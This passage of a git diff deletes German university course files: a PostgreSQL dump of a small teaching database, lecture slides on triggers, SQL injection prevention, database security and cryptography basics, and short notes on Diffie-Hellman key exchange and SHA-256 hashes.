--- --- Name: students_id_seq; Type: SEQUENCE SET; Schema: public; Owner: dbs --- - -SELECT pg_catalog.setval('public.students_id_seq', 2, true); - - --- --- Name: tier_id_seq; Type: SEQUENCE SET; Schema: public; Owner: dbs --- - -SELECT pg_catalog.setval('public.tier_id_seq', 1, false); - - --- --- Name: account account_pkey; Type: CONSTRAINT; Schema: public; Owner: dbs --- - -ALTER TABLE ONLY public.account - ADD CONSTRAINT account_pkey PRIMARY KEY (id); - - --- --- Name: cd cd_pkey; Type: CONSTRAINT; Schema: public; Owner: dbs --- - -ALTER TABLE ONLY public.cd - ADD CONSTRAINT cd_pkey PRIMARY KEY (cd_id); - - --- --- Name: customer customer_pkey; Type: CONSTRAINT; Schema: public; Owner: dbs --- - -ALTER TABLE ONLY public.customer - ADD CONSTRAINT customer_pkey PRIMARY KEY (id); - - --- --- Name: interpret interpret_pkey; Type: CONSTRAINT; Schema: public; Owner: dbs --- - -ALTER TABLE ONLY public.interpret - ADD CONSTRAINT interpret_pkey PRIMARY KEY (id); - - --- --- Name: tier tier_pkey; Type: CONSTRAINT; Schema: public; Owner: dbs --- - -ALTER TABLE ONLY public.tier - ADD CONSTRAINT tier_pkey PRIMARY KEY (id); - - --- --- Name: index_account_number; Type: INDEX; Schema: public; Owner: dbs --- - -CREATE INDEX index_account_number ON public.account USING btree (number); - - --- --- Name: account after_update_account; Type: TRIGGER; Schema: public; Owner: dbs --- - -CREATE TRIGGER after_update_account AFTER UPDATE ON public.account FOR EACH ROW EXECUTE FUNCTION public.log_change(); - - --- --- Name: cd cd_fkey_interpret_id; Type: FK CONSTRAINT; Schema: public; Owner: dbs --- - -ALTER TABLE ONLY public.cd - ADD CONSTRAINT cd_fkey_interpret_id FOREIGN KEY (interpret_id) REFERENCES public.interpret(id); - - --- --- Name: customer customer_fkey_account_id; Type: FK CONSTRAINT; Schema: public; Owner: dbs --- - -ALTER TABLE ONLY public.customer - ADD CONSTRAINT customer_fkey_account_id FOREIGN KEY (account_id) REFERENCES public.account(id); - - --- --- Name: lied lied_fkey_cd_id; Type: FK CONSTRAINT; Schema: public; Owner: dbs --- - -ALTER TABLE ONLY public.lied - ADD CONSTRAINT lied_fkey_cd_id FOREIGN KEY (cd_id) REFERENCES public.cd(cd_id); - - --- --- PostgreSQL database dump complete --- - diff --git a/20231214/testdb-20231214-02.sql b/20231214/testdb-20231214-02.sql deleted file mode 100644 index e6cfaf9cbed1c901cc2c1ef7dba3cdacfe675040..0000000000000000000000000000000000000000 --- a/20231214/testdb-20231214-02.sql +++ /dev/null @@ -1,627 +0,0 @@ --- --- PostgreSQL database dump --- - --- Dumped from database version 15.5 (Debian 15.5-0+deb12u1) --- Dumped by pg_dump version 15.5 (Debian 15.5-0+deb12u1) - -SET statement_timeout = 0; -SET lock_timeout = 0; -SET idle_in_transaction_session_timeout = 0; -SET client_encoding = 'UTF8'; -SET standard_conforming_strings = on; -SELECT pg_catalog.set_config('search_path', '', false); -SET check_function_bodies = false; -SET xmloption = content; -SET client_min_messages = warning; -SET row_security = off; - -ALTER TABLE ONLY public.lied DROP CONSTRAINT lied_fkey_cd_id; -ALTER TABLE ONLY public.customer DROP CONSTRAINT customer_fkey_account_id; -ALTER TABLE ONLY public.cd DROP CONSTRAINT cd_fkey_interpret_id; -DROP TRIGGER after_update_account ON public.account; -DROP INDEX public.index_account_number; -ALTER TABLE ONLY public.tier DROP CONSTRAINT tier_pkey; -ALTER TABLE ONLY public.interpret DROP CONSTRAINT interpret_pkey; -ALTER TABLE ONLY public.customer DROP CONSTRAINT customer_pkey; -ALTER TABLE ONLY public.cd DROP CONSTRAINT cd_pkey; -ALTER TABLE ONLY public.account DROP CONSTRAINT account_pkey; -ALTER TABLE public.tier ALTER COLUMN id DROP DEFAULT; -ALTER TABLE public.students ALTER COLUMN id DROP DEFAULT; -ALTER TABLE public.interpret ALTER COLUMN id DROP DEFAULT; -ALTER TABLE public.customer ALTER COLUMN id DROP DEFAULT; -ALTER TABLE public.cd ALTER COLUMN cd_id DROP DEFAULT; -ALTER TABLE public.account ALTER COLUMN id DROP DEFAULT; -DROP SEQUENCE public.tier_id_seq; -DROP TABLE public.tier; -DROP TABLE public.test; -DROP SEQUENCE public.students_id_seq; -DROP TABLE public.students; -DROP VIEW public.lied_auf_cd; -DROP TABLE public.lied; -DROP SEQUENCE public.interpret_id_seq; -DROP TABLE public.interpret; -DROP SEQUENCE public.customer_id_seq; -DROP TABLE public.customer; -DROP SEQUENCE public.cd_cd_id_seq; -DROP TABLE public.cd; -DROP TABLE public.account_log; -DROP SEQUENCE public.account_id_seq; -DROP TABLE public.account; -DROP PROCEDURE public.transfer(IN sender integer, IN receiver integer, IN amount integer); -DROP FUNCTION public.log_change(); --- --- Name: log_change(); Type: FUNCTION; Schema: public; Owner: dbs --- - -CREATE FUNCTION public.log_change() RETURNS trigger - LANGUAGE plpgsql - AS $$ -begin - if new.balance <> old.balance then - insert into account_log (account_id, change, datetime) - values (old.id, new.balance - old.balance, now ()); - end if; - return new; -end; -$$; - - -ALTER FUNCTION public.log_change() OWNER TO dbs; - --- --- Name: transfer(integer, integer, integer); Type: PROCEDURE; Schema: public; Owner: dbs --- - -CREATE PROCEDURE public.transfer(IN sender integer, IN receiver integer, IN amount integer) - LANGUAGE sql - AS $$ -UPDATE account SET balance = balance + amount WHERE id = receiver; -UPDATE account SET balance = balance - amount WHERE id = sender; -$$; - - -ALTER PROCEDURE public.transfer(IN sender integer, IN receiver integer, IN amount integer) - OWNER TO dbs; - -SET default_tablespace = ''; - -SET default_table_access_method = heap; - --- --- Name: account; Type: TABLE; Schema: public; Owner: dbs --- - -CREATE TABLE public.account ( - id integer NOT NULL, - number text, - balance integer -); - - -ALTER TABLE public.account OWNER TO dbs; - --- --- Name: account_id_seq; Type: SEQUENCE; Schema: public; Owner: dbs --- - -CREATE SEQUENCE public.account_id_seq - AS integer - START WITH 1 - INCREMENT BY 1 - NO MINVALUE - NO MAXVALUE - CACHE 1; - - -ALTER TABLE public.account_id_seq OWNER TO dbs; - --- --- Name: account_id_seq; Type: SEQUENCE OWNED BY; Schema: public; Owner: dbs --- - -ALTER SEQUENCE public.account_id_seq OWNED BY public.account.id; - - --- --- Name: account_log; Type: TABLE; Schema: public; Owner: dbs --- - -CREATE TABLE public.account_log ( - account_id integer, - change integer, - datetime timestamp without time zone -); - - -ALTER TABLE public.account_log OWNER TO dbs; - --- --- Name: cd; Type: TABLE; Schema: public; Owner: dbs --- - -CREATE TABLE public.cd ( - cd_id integer NOT NULL, - albumtitel text, - interpret_id integer, - erscheinungsjahr integer -); - - -ALTER TABLE public.cd OWNER TO dbs; - --- --- Name: cd_cd_id_seq; Type: SEQUENCE; Schema: public; Owner: dbs --- - -CREATE SEQUENCE public.cd_cd_id_seq - AS integer - START WITH 1 - INCREMENT BY 1 - NO MINVALUE - NO MAXVALUE - CACHE 1; - - -ALTER TABLE public.cd_cd_id_seq OWNER TO dbs; - --- --- Name: cd_cd_id_seq; Type: SEQUENCE OWNED BY; Schema: public; Owner: dbs --- - -ALTER SEQUENCE public.cd_cd_id_seq OWNED BY public.cd.cd_id; - - --- --- Name: customer; Type: TABLE; Schema: public; Owner: dbs --- - -CREATE TABLE public.customer ( - id integer NOT NULL, - lastname text, - firstname text, - account_id integer -); - - -ALTER TABLE public.customer OWNER TO dbs; - --- --- Name: customer_id_seq; Type: SEQUENCE; Schema: public; Owner: dbs --- - -CREATE SEQUENCE public.customer_id_seq - AS integer - START WITH 1 - INCREMENT BY 1 - NO MINVALUE - NO MAXVALUE - CACHE 1; - - -ALTER TABLE public.customer_id_seq OWNER TO dbs; - --- --- Name: customer_id_seq; Type: SEQUENCE OWNED BY; Schema: public; Owner: dbs --- - -ALTER SEQUENCE public.customer_id_seq OWNED BY public.customer.id; - - --- --- Name: interpret; Type: TABLE; Schema: public; Owner: dbs --- - -CREATE TABLE public.interpret ( - id integer NOT NULL, - name text, - gruendungsjahr integer -); - - -ALTER TABLE public.interpret OWNER TO dbs; - --- --- Name: interpret_id_seq; Type: SEQUENCE; Schema: public; Owner: dbs --- - -CREATE SEQUENCE public.interpret_id_seq - AS integer - START WITH 1 - INCREMENT BY 1 - NO MINVALUE - NO MAXVALUE - CACHE 1; - - -ALTER TABLE public.interpret_id_seq OWNER TO dbs; - --- --- Name: interpret_id_seq; Type: SEQUENCE OWNED BY; Schema: public; Owner: dbs --- - -ALTER SEQUENCE public.interpret_id_seq OWNED BY public.interpret.id; - - --- --- Name: lied; Type: TABLE; Schema: public; Owner: dbs --- - -CREATE TABLE public.lied ( - cd_id integer, - track integer, - titel text -); - - -ALTER TABLE public.lied OWNER TO dbs; - --- --- Name: lied_auf_cd; Type: VIEW; Schema: public; Owner: dbs --- - -CREATE VIEW public.lied_auf_cd AS - SELECT cd.cd_id, - cd.albumtitel, - interpret.name, - interpret.gruendungsjahr, - cd.erscheinungsjahr, - lied.track, - lied.titel - FROM ((public.cd - JOIN public.lied ON ((cd.cd_id = lied.cd_id))) - JOIN public.interpret ON ((cd.interpret_id = interpret.id))); - - -ALTER TABLE public.lied_auf_cd OWNER TO dbs; - --- --- Name: students; Type: TABLE; Schema: public; Owner: dbs --- - -CREATE TABLE public.students ( - id integer NOT NULL, - first_name text, - family_name text -); - - -ALTER TABLE public.students OWNER TO dbs; - --- --- Name: students_id_seq; Type: SEQUENCE; Schema: public; Owner: dbs --- - -CREATE SEQUENCE public.students_id_seq - AS integer - START WITH 1 - INCREMENT BY 1 - NO MINVALUE - NO MAXVALUE - CACHE 1; - - -ALTER TABLE public.students_id_seq OWNER TO dbs; - --- --- Name: students_id_seq; Type: SEQUENCE OWNED BY; Schema: public; Owner: dbs --- - -ALTER SEQUENCE public.students_id_seq OWNED BY public.students.id; - - --- --- Name: test; Type: TABLE; Schema: public; Owner: dbs --- - -CREATE TABLE public.test ( - id integer, - s text -); - - -ALTER TABLE public.test OWNER TO dbs; - --- --- Name: tier; Type: TABLE; Schema: public; Owner: dbs --- - -CREATE TABLE public.tier ( - id integer NOT NULL, - name text, - tierart text -); - - -ALTER TABLE public.tier OWNER TO dbs; - --- --- Name: tier_id_seq; Type: SEQUENCE; Schema: public; Owner: dbs --- - -CREATE SEQUENCE public.tier_id_seq - AS integer - START WITH 1 - INCREMENT BY 1 - NO MINVALUE - NO MAXVALUE - CACHE 1; - - -ALTER TABLE public.tier_id_seq OWNER TO dbs; - --- --- Name: tier_id_seq; Type: SEQUENCE OWNED BY; Schema: public; Owner: dbs --- - -ALTER SEQUENCE public.tier_id_seq OWNED BY public.tier.id; - - --- --- Name: account id; Type: DEFAULT; Schema: public; Owner: dbs --- - -ALTER TABLE ONLY public.account ALTER COLUMN id SET DEFAULT nextval('public.account_id_seq'::regclass); - - --- --- Name: cd cd_id; Type: DEFAULT; Schema: public; Owner: dbs --- - -ALTER TABLE ONLY public.cd ALTER COLUMN cd_id SET DEFAULT nextval('public.cd_cd_id_seq'::regclass); - - --- --- Name: customer id; Type: DEFAULT; Schema: public; Owner: dbs --- - -ALTER TABLE ONLY public.customer ALTER COLUMN id SET DEFAULT nextval('public.customer_id_seq'::regclass); - - --- --- Name: interpret id; Type: DEFAULT; Schema: public; Owner: dbs --- - -ALTER TABLE ONLY public.interpret ALTER COLUMN id SET DEFAULT nextval('public.interpret_id_seq'::regclass); - - --- --- Name: students id; Type: DEFAULT; Schema: public; Owner: dbs --- - -ALTER TABLE ONLY public.students ALTER COLUMN id SET DEFAULT nextval('public.students_id_seq'::regclass); - - --- --- Name: tier id; Type: DEFAULT; Schema: public; Owner: dbs --- - -ALTER TABLE ONLY public.tier ALTER COLUMN id SET DEFAULT nextval('public.tier_id_seq'::regclass); - - --- --- Data for Name: account; Type: TABLE DATA; Schema: public; Owner: dbs --- - -COPY public.account (id, number, balance) FROM stdin; -1 DE12 3456 7890 ABCD EFGH IJ 1000009 -2 DE98 7654 3210 ABCD EFGH IJ 3999990 -\. - - --- --- Data for Name: account_log; Type: TABLE DATA; Schema: public; Owner: dbs --- - -COPY public.account_log (account_id, change, datetime) FROM stdin; -1 10 2023-12-07 12:07:38.614305 -2 -10 2023-12-07 12:07:38.614305 -\. - - --- --- Data for Name: cd; Type: TABLE DATA; Schema: public; Owner: dbs --- - -COPY public.cd (cd_id, albumtitel, interpret_id, erscheinungsjahr) FROM stdin; -4711 Not That Kind 1 2000 -4712 Wish You Were Here 2 1975 -4713 Freak of Nature 1 2001 -4714 Songs for the Deaf 3 2002 -\. - - --- --- Data for Name: customer; Type: TABLE DATA; Schema: public; Owner: dbs --- - -COPY public.customer (id, lastname, firstname, account_id) FROM stdin; -2 Mustermann Erika 1 -4 Rich Richie 2 -\. - - --- --- Data for Name: interpret; Type: TABLE DATA; Schema: public; Owner: dbs --- - -COPY public.interpret (id, name, gruendungsjahr) FROM stdin; -1 Anastacia 1999 -2 Pink Floyd 1965 -3 Queens of the Stone Age 1996 -\. - - --- --- Data for Name: lied; Type: TABLE DATA; Schema: public; Owner: dbs --- - -COPY public.lied (cd_id, track, titel) FROM stdin; -4711 1 Not That Kind -4711 2 I'm Otta Love -4711 3 Cowboys & Kisses -4712 1 Shine On You Crazy Diamond -4713 1 Paid my Dues -\. - - --- --- Data for Name: students; Type: TABLE DATA; Schema: public; Owner: dbs --- - -COPY public.students (id, first_name, family_name) FROM stdin; -1 Peter Gerwinski -2 Benedikt Wildenhain -\. - - --- --- Data for Name: test; Type: TABLE DATA; Schema: public; Owner: dbs --- - -COPY public.test (id, s) FROM stdin; -7 Zwerge -\. - - --- --- Data for Name: tier; Type: TABLE DATA; Schema: public; Owner: dbs --- - -COPY public.tier (id, name, tierart) FROM stdin; -1 Esmeralda Spinne -2 Timmy Hund -3 Dio Katze -4 Tusnelda Spinne -5 Ragnar Katze -6 Putzi Ratte -7 Felix Troll -8 Rex Ameise -\. - - --- --- Name: account_id_seq; Type: SEQUENCE SET; Schema: public; Owner: dbs --- - -SELECT pg_catalog.setval('public.account_id_seq', 2, true); - - --- --- Name: cd_cd_id_seq; Type: SEQUENCE SET; Schema: public; Owner: dbs --- - -SELECT pg_catalog.setval('public.cd_cd_id_seq', 1, false); - - --- --- Name: customer_id_seq; Type: SEQUENCE SET; Schema: public; Owner: dbs --- - -SELECT pg_catalog.setval('public.customer_id_seq', 4, true); - - --- --- Name: interpret_id_seq; Type: SEQUENCE SET; Schema: public; Owner: dbs --- - -SELECT pg_catalog.setval('public.interpret_id_seq', 1, false); - - --- --- Name: students_id_seq; Type: SEQUENCE SET; Schema: public; Owner: dbs --- - -SELECT pg_catalog.setval('public.students_id_seq', 2, true); - - --- --- Name: tier_id_seq; Type: SEQUENCE SET; Schema: public; Owner: dbs --- - -SELECT pg_catalog.setval('public.tier_id_seq', 1, false); - - --- --- Name: account account_pkey; Type: CONSTRAINT; Schema: public; Owner: dbs --- - -ALTER TABLE ONLY public.account - ADD CONSTRAINT account_pkey PRIMARY KEY (id); - - --- --- Name: cd cd_pkey; Type: CONSTRAINT; Schema: public; Owner: dbs --- - -ALTER TABLE ONLY public.cd - ADD CONSTRAINT cd_pkey PRIMARY KEY (cd_id); - - --- --- Name: customer customer_pkey; Type: CONSTRAINT; Schema: public; Owner: dbs --- - -ALTER TABLE ONLY public.customer - ADD CONSTRAINT customer_pkey PRIMARY KEY (id); - - --- --- Name: interpret interpret_pkey; Type: CONSTRAINT; Schema: public; Owner: dbs --- - -ALTER TABLE ONLY public.interpret - ADD CONSTRAINT interpret_pkey PRIMARY KEY (id); - - --- --- Name: tier tier_pkey; Type: CONSTRAINT; Schema: public; Owner: dbs --- - -ALTER TABLE ONLY public.tier - ADD CONSTRAINT tier_pkey PRIMARY KEY (id); - - --- --- Name: index_account_number; Type: INDEX; Schema: public; Owner: dbs --- - -CREATE INDEX index_account_number ON public.account USING btree (number); - - --- --- Name: account after_update_account; Type: TRIGGER; Schema: public; Owner: dbs --- - -CREATE TRIGGER after_update_account AFTER UPDATE ON public.account - FOR EACH ROW EXECUTE FUNCTION public.log_change(); - - --- --- Name: cd cd_fkey_interpret_id; Type: FK CONSTRAINT; Schema: public; Owner: dbs --- - -ALTER TABLE ONLY public.cd - ADD CONSTRAINT cd_fkey_interpret_id FOREIGN KEY (interpret_id) REFERENCES public.interpret(id); - - --- --- Name: customer customer_fkey_account_id; Type: FK CONSTRAINT; Schema: public; Owner: dbs --- - -ALTER TABLE ONLY public.customer - ADD CONSTRAINT customer_fkey_account_id FOREIGN KEY (account_id) REFERENCES public.account(id); - - --- --- Name: lied lied_fkey_cd_id; Type: FK CONSTRAINT; Schema: public; Owner: dbs --- - -ALTER TABLE ONLY public.lied - ADD CONSTRAINT lied_fkey_cd_id FOREIGN KEY (cd_id) REFERENCES public.cd(cd_id); - - --- --- PostgreSQL database dump complete --- - diff --git a/20240111/Zeichen_123.pdf b/20240111/Zeichen_123.pdf deleted file mode 120000 index fdbc897227df059cfda790a16555e6e417682116..0000000000000000000000000000000000000000 --- a/20240111/Zeichen_123.pdf +++ /dev/null @@ -1 +0,0 @@ -../common/Zeichen_123.pdf \ No newline at end of file diff --git a/20240111/dbs-20240111.pdf b/20240111/dbs-20240111.pdf deleted file mode 100644 index 3f9616efe9f3278e1b8dc63ef26c0acb096a7d2f..0000000000000000000000000000000000000000 Binary files a/20240111/dbs-20240111.pdf and /dev/null differ diff --git a/20240111/dbs-20240111.tex b/20240111/dbs-20240111.tex deleted file mode 100644 index af10b15c0bdd95c887d21b2596222a814a0fc91e..0000000000000000000000000000000000000000 --- a/20240111/dbs-20240111.tex +++ /dev/null @@ -1,438 +0,0 @@ -% dbs-20240111.pdf - Lecture Slides on Databases and Information Security -% Copyright (C) 2023, 2024 Peter Gerwinski -% -% This document is free software: you can redistribute it and/or -% modify it either under the terms of the Creative Commons -% Attribution-ShareAlike 3.0 License, or under the terms of the -% GNU General Public License as published by the Free Software -% Foundation, either version 3 of the License, or (at your option) -% any later version. -% -% This document is distributed in the hope that it will be useful, -% but WITHOUT ANY WARRANTY; without even the implied warranty of -% MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -% GNU General Public License for more details. -% -% You should have received a copy of the GNU General Public License -% along with this document. If not, see <http://www.gnu.org/licenses/>. -% -% You should have received a copy of the Creative Commons -% Attribution-ShareAlike 3.0 Unported License along with this -% document. If not, see <http://creativecommons.org/licenses/>. - -% README: Datensicherheit bei Datenbanken, sonstige Datenbanken, Kryptographie - -\documentclass[10pt,t]{beamer} - -\usepackage{pgslides} - -\newcommand{\vfilll}{\vspace{0pt plus 1filll}} - -\newcommand{\underconstruction}{% - \begin{picture}(0,0) - \put(11,1.2){\makebox(0,0)[b]{\includegraphics[width=1.5cm]{Zeichen_123.pdf}}} - \put(11,0.9){\makebox(0,0)[t]{\shortstack{Änderungen\\vorbehalten}}} - \end{picture}} - -\title{Datenbanken und Datensicherheit} -\author{Prof.\ Dr.\ rer.\ nat.\ Peter Gerwinski} -\date{11.\ Januar 2024} - -\begin{document} - -\maketitleframe - -\nosectionnonumber{\inserttitle} - -\begin{frame} - - \shownosectionnonumber - - \begin{itemize} - \item[\textbf{1}] \textbf{Einführung} - \hfill\makebox(0,0)[br]{\raisebox{2.25ex}{\url{https://gitlab.cvh-server.de/pgerwinski/dbs}}}% - \item[\textbf{2}] \textbf{Kurzeinführung Unix} - \item[\textbf{3}] \textbf{Kurzeinführung TCP/IP} - \item[\textbf{4}] \textbf{Relationale Datenbanken} - \begin{itemize} - \vspace*{-\smallskipamount} - \item[\textbf{\dots}] - \item[4.9] Indizierung - \color{medgreen} - \item[4.10] Funktionen und Trigger - \item[4.11] GUI-Zugriff - \color{orange} - \item[4.12] SQL Injection - \color{red} - \item[4.13] Datensicherheit bei Datenbanken - \item[4.14] Sonstige Datenbanken - \end{itemize} - \item[\textbf{5}] \textbf{Kryptographie} - \begin{itemize} - \color{red} - \item[5.1] Einführung - \vspace*{-\smallskipamount} - \item[\textbf{\dots}] - \end{itemize} - \vspace*{-\smallskipamount} - \item[\textbf{\dots}] - \end{itemize} - - \vfilll - \underconstruction - -\end{frame} - -\setcounter{section}{3} -\section{Relationale Datenbanken} -\setcounter{subsection}{9} -\subsection{Funktionen und Trigger} - -\begin{frame} - - \showsection - \showsubsection - - Funktionen: - \begin{itemize} - \item - \lstinline[style=cmd]{PROCEDURE} entspricht einer \lstinline{void}-Funktion in C. - \item - \url{https://www.postgresql.org/docs/15/sql-createprocedure.html} - \end{itemize} - - \bigskip - - Trigger: - \begin{itemize} - \item - \url{https://www.sqltutorial.org/sql-triggers/} - \item - \url{https://www.postgresqltutorial.com/postgresql-triggers/creating-first-trigger-postgresql/} - \end{itemize} - -\end{frame} - -\subsection{GUI-Zugriff} - -\begin{frame} - - \showsection - \showsubsection - - \begin{itemize} - \item - Anwendung nutzt DBMS-Client-Bibliothek\\ - GUI-Programmierung: wie gewohnt - \item - Spezialfall: Web-Anwendung - \end{itemize} - - \bigskip - - Beispiel: Programmiersprache PHP - \begin{itemize} - \item - Integration in HTML-Quelltext: \lstinline{<?php ... ?>} - \item - Objekt zur Kommunikation mit Datenbanken: \lstinline{PDO} - \end{itemize} - - \bigskip - - Literatur: - \begin{itemize} - \item - \url{https://www.postgresqltutorial.com/postgresql-php/connect/} - \item - \url{https://www.phptutorial.net/php-pdo/pdo-connecting-to-postgresql/} - \end{itemize} - -\end{frame} - -\subsection{SQL Injection} - -\begin{frame}[fragile] - - \showsection - \showsubsection - - Problem: - \begin{itemize} - \item - Ein böswilliger Benutzer gibt über eine Benutzerschnittstelle - (z.\,B.\ ein Web-Interface) Daten ein (z.\,B.\ einen "`Namen"'), - die Sonderzeichen enthalten, damit sie als SQL-Befehle ausgeführt werden. - \item - Literatur: \url{https://xkcd.com/327/} - \end{itemize} - - \medskip - - Lösung: Die Benutzerschnittstelle prüft die Daten auf Sonderzeichen\\ - und ersetzt diese durch geeignete Escape-Sequenzen - \begin{itemize} - \item - \lstinline[style=cmd]{'} durch \lstinline[style=cmd]{''} ersetzen - \item - Funktion \lstinline[style=cmd]{CHR()} - \item - Viele DBMS verstehen ein vorangestelltes \lstinline[style=cmd]{\}. - \end{itemize} - - \medskip - - Bessere Lösung: \newterm{Prepared Statements} - \begin{itemize} - \item - \url{https://www.postgresql.org/docs/current/sql-prepare.html} - \item - \url{https://www.w3schools.com/php/php_mysql_prepared_statements.asp} - \end{itemize} - -\end{frame} - -\subsection{Datensicherheit bei Datenbanken} - -\begin{frame} - - \showsection - \showsubsection - - \begin{itemize} - \item - kein direkter Zugriff von außen auf die Datenbank - \item - feingranulare Benutzerrechte - \item - Software aktuell halten - \item - Prepared Statements - \item - Transportverschlüsselung - \end{itemize} - -\end{frame} - -\subsection{Sonstige Datenbanken} - -\begin{frame} - - \showsection - \showsubsection - - \begin{itemize} - \item - Eingebettete Datenbanken:\\ - Berkeley DB, SQLite\\ - Software-Bibliothek, keine Client-Server-Struktur - \item - Nicht-relationale Datenbanken:\\ - dokumentenorientierte Datenbanken, noSQL\\ - Performanz wichtiger als Konsistenz\\ - \textarrow\ Applikationen stärker in Konsistenzprüfung eingebunden - \end{itemize} - -\end{frame} - -\section{Kryptographie} -\subsection{Einführung} - -\begin{frame} - - \showsection - \showsubsection - - \textbf{Was ist Datensicherheit?} - - \smallskip - - \begin{minipage}[t]{0.24\textwidth} - \begin{itemize} - \item[] \strut - \item Vertraulichkeit - \item Integrität\\\strut - \item Verfügbarkeit - \end{itemize} - \end{minipage}% - \begin{minipage}[t]{0.25\textwidth} - \begin{itemize} - \item[] (CIA) - \item[] (confidentiality) - \item[] (integrity)\\\strut - \item[] (availability) - \end{itemize} - \end{minipage}\quad - \begin{minipage}[t]{0.45\textwidth} - \begin{itemize} - \item[] \strut - \arrowitem {\only<2->{\color{red}}Verschlüsselung} - \arrowitem Konsistenzprüfungen,\\ - Prüfwerte, {\only<2->{\color{red}}Signaturen} - \arrowitem Backups, Ausfallsicherheit - \end{itemize} - \end{minipage} - - \bigskip - - \begin{itemize} - \item - Identifizierbarkeit - (Authentizität, Nichtabstreitbarkeit, Zurechenbarkeit)\\ - \textarrow\ {\only<2->{\color{red}}Passwörter}, - {\only<2->{\color{red}}Signaturen}\\[\smallskipamount] - bzw. - \item - Anonymität - (plausible Abstreitbarkeit, Nichtzurechenbarkeit)\\ - \textarrow\ Pseudonymisierung, Anonymisierung,\\ - \phantom{\textarrow\ }{\only<2->{\color{red}}Verschlüsselung}, Steganographie - \pause\hfill\textcolor{red}{\textarrow\ Kryptographie} - \end{itemize} - -\end{frame} - -\subsection{Symmetrische Verschlüsselung} - -\begin{frame} - - \showsection - - \textbf{Kryptographie} - \begin{itemize} - \item - Verschlüsselung: symmetrisch, asymmetrisch, hybrid - \item - Hashes: Einwegfunktionen, Salt - \item - Signaturen, Zertifikate - \item - Schlüsselaustausch - \end{itemize} - - \bigskip - - \showsubsection - - \vspace{-\medskipamount} - - \begin{itemize} - \item - Derselbe Schlüssel zum Ver- und Entschlüsseln - \item - Beispiele: - {\only<6->{\color{red}}Cäsar-Chiffre}, - {\only<6->{\color{red}}Monoalphabetische Substitution}\pause,\\ - One Time Pad\visible<4->{,}\\ - \visible<4->{% - \only<5->{\emph{spezielle }}Pseudozufallszahlengenerator\only<5->{en}, - Startwert als Schlüssel\only<5->{:}\\ - \visible<5->{ - {\only<6->{\color{red}}Enigma}, - {\only<6->{\color{red}}DES}, - {\only<6->{\color{orange}}3DES}, - {\only<6->{\color{orange}}RC4}, - IDEA, - Blowfish, - TwoFish, - CAST, - AES, - \dots - } - } - \pause - \item - Problem: Schlüsselaustausch - \pause[7] - \item - Lösung: \newterm{asymmetrische Verschlüsselung} - \end{itemize} - -\end{frame} - -\subsection{Asymmetrische Verschlüsselung} - -\begin{frame} - - \showsubsection - - \vspace{-\medskipamount} - - \begin{itemize} - \item - verschiedene Schlüssel zum Ver- und Entschlüsseln:\\ - öffentlicher und privater Schlüssel - \item - Prinzip: mathematische Operation,\\ - einfach durchzuführen, schwer rückgängig zu machen - \medskip - \item - Beispiel: $N = p \cdot q$ -- einfacher als Primfaktorzerlegung von $N$ - \textarrow\ RSA\\[\smallskipamount] - $73 \cdot 97 = 7081$: geht notfalls noch im Kopf\\ - Primfaktorzerlegung von $7081$: mindestens schriftlich, besser mit Rechner - \medskip - \item - Beispiel: $c = b^a$ -- einfacher als $a = \log_b c$ - \textarrow\ Diffie-Hellman, ElGamal\\[\smallskipamount] - $7^5 = 16807$: geht notfalls noch im Kopf\\ - $\log_7 16807$: mindestens schriftlich, besser mit Rechner - \medskip - \arrowitem - Details: Algorithmen und Datenstrukturen - \pause - \bigskip - \item - Nachteil: wesentlich aufwendiger und daher langsamer\\ - als symmetrische Verschlüsselung - \arrowitem - \newterm{hybride Verschlüsselung}: nur Schlüsselaustausch asymmetrisch,\\ - eigentliche Vrschlüsselung symmetrisch - \end{itemize} - -\end{frame} - -\subsection{Signaturen} - -\begin{frame} - - \showsubsection - - \vspace{-\medskipamount} - - \begin{itemize} - \item - \newterm{kryptographische Hash-Funktion\/}: - leicht auszurechnen, schwer zu manipulieren - \item - asymmetrisch: \newterm{Signatur}\\ - Hash-Wert mit privatem Schlüssel verschlüsseln,\\ - mit öffentlichem Schlüssel entschlüsseln - \item - symmetrisch: \newterm{Message Authentication Code\/} (MAC)\\ - z.\,B.\ Hash-Wert über Nachricht + geheimer Schlüssel - \end{itemize} - - \pause - \bigskip - - Angriffsmöglichkeit: \newterm{Man-in-the-middle\/}-Angriff\\ - Beim Schlüsselaustausch anderen Schlüssel unterschieben\\ - \textarrow\ Sorgfalt beim Schlüsselaustausch - - \pause - \bigskip - - \textbf{Praxis-Beispiele} - \begin{itemize} - \item - SSH - \item - HTTPS - \item - OpenPGP - \end{itemize} - -\end{frame} - -\end{document} diff --git a/20240111/diffie-hellman.txt b/20240111/diffie-hellman.txt deleted file mode 100644 index 1f56ea1b60d54b260783bf6a6003f649be8caf66..0000000000000000000000000000000000000000 --- a/20240111/diffie-hellman.txt +++ /dev/null @@ -1,14 +0,0 @@ -Diffie-Hellman-Schlüsselaustausch -~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -Alice Bob - - <------ gemeinsam: e ---> - -geheim: a geheim: b - - A = e^a --------------> - - <-------------------- B = e^b - -B^a = e^(b·a) A^b = e^(a·b) - ~~~~~~~ ~~~~~~~ <----- gemeinsamer geheimer Schlüssel diff --git a/20240111/hashes-01.txt b/20240111/hashes-01.txt deleted file mode 100644 index c19ab40a0bf87409f5d1933d4c2b3c18f142dc85..0000000000000000000000000000000000000000 --- a/20240111/hashes-01.txt +++ /dev/null @@ -1,10 +0,0 @@ -cassini/home/peter/bo/2023ws/dbs/20240111> sha256sum -Hallo. Dies ist ein Test. -565fd769eb3b7df2c4f6e65f4ed8cc977d93d6eebcea67b1de09cbad37911521 - -cassini/home/peter/bo/2023ws/dbs/20240111> sha256sum -Hallo. Dies ist ein Test. -565fd769eb3b7df2c4f6e65f4ed8cc977d93d6eebcea67b1de09cbad37911521 - -cassini/home/peter/bo/2023ws/dbs/20240111> sha256sum -Hallo. Dies ist ein test. -f6d865709ef59cb882ad71695a7af2a248040a8d44856bfc84a0821f71070af7 - -cassini/home/peter/bo/2023ws/dbs/20240111> diff --git a/20240111/logo-hochschule-bochum-cvh-text-v2.pdf b/20240111/logo-hochschule-bochum-cvh-text-v2.pdf deleted file mode 120000 index 4aa99b8f81061aca6dcaf43eed2d9efef40555f8..0000000000000000000000000000000000000000 --- a/20240111/logo-hochschule-bochum-cvh-text-v2.pdf +++ /dev/null @@ -1 +0,0 @@ -../common/logo-hochschule-bochum-cvh-text-v2.pdf \ No newline at end of file diff --git a/20240111/logo-hochschule-bochum.pdf 